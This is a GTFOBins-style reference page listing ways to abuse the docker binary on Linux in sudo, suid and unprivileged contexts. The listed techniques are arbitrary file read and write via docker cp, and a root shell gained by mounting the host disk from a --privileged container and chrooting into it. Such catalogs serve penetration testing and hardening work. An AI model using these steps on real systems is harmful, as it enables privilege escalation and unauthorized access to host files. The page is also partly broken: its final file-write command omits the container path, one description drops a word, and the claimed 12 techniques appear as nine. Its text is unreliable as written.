Catalog GTFOBins

GTFO · Tool

docker

12 techniques LinuxGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation Linux

Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.

docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.

docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read Linux

Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.

docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation Linux

Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.

echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation Linux

Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.

echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write Linux

Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.

echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege Escalation Linux

This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.

docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux

This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.

docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
Context
suid
Native
shell
MITRE
T1059

shell

Execution Linux

This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.

docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
Context
unprivileged
Native
shell
MITRE
T1059